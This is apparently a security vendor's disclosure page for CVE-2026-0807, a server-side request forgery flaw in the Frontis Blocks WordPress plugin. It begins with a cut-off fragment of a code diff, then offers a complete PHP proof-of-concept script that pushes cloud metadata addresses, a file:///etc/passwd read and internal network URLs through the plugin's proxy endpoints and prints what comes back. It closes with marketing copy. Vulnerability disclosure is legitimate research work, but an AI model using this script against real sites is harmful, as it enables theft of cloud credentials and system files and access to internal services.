 		// Add the current block slug
 		if (!empty($block['attrs']['slug'])) {
 			$tag[] = $block['attrs']['slug'];
 		}
-
+
 		// Detect whether the template part is a header or footer
-		if ( $template_part_posts ) {
-			foreach ( $template_part_posts as $template_part_post ) {
-
-				$block_template = _build_block_template_result_from_post( $template_part_post );
-
+		if ($template_part

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0807 - Frontis Blocks <= 1.1.6 - Unauthenticated Server-Side Request Forgery via 'url' Parameter

<?php

$target_url = "http://vulnerable-wordpress-site.com"; // Change this to the target site

// Test both vulnerable endpoints
$endpoints = array(
    '/template-proxy/',
    '/proxy-image/'
);

// Test payloads - adjust based on target environment
$test_urls = array(
    'http://169.254.169.254/latest/meta-data/', // AWS metadata
    'http://169.254.169.254/computeMetadata/v1/', // GCP metadata
    'http://169.254.169.254/metadata/instance', // Azure metadata
    'file:///etc/passwd', // Local file read
    'http://localhost:8080/', // Internal service
    'http://192.168.1.1/', // Internal network
);

foreach ($endpoints as $endpoint) {
    echo "nTesting endpoint: {$endpoint}n";
    echo str_repeat("=", 50) . "n";
    
    foreach ($test_urls as $test_url) {
        $full_url = $target_url . $endpoint . '?url=' . urlencode($test_url);
        
        echo "nTesting: {$test_url}n";
        echo "Request: {$full_url}n";
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $full_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        if (curl_errno($ch)) {
            echo "Error: " . curl_error($ch) . "n";
        } else {
            echo "HTTP Code: {$http_code}n";
            echo "Response Length: " . strlen($response) . " bytesn";
            
            // Show preview of response (first 500 chars)
            $preview = substr($response, 0, 500);
            if (!empty($preview)) {
                echo "Response Preview:n" . htmlspecialchars($preview) . "n";
            }
        }
        
        curl_close($ch);
        sleep(1); // Rate limiting
    }
}

// Alternative: Direct plugin file access (if rewrite rules not working)
echo "nnTesting direct plugin file access:n";
echo str_repeat("=", 50) . "n";

$direct_url = $target_url . '/wp-content/plugins/frontis-blocks/template-proxy/?url=' . urlencode('http://localhost/');
$ch = curl_init($direct_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "Direct access HTTP Code: {$http_code}n";
echo "Response Length: " . strlen($response) . " bytesn";
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School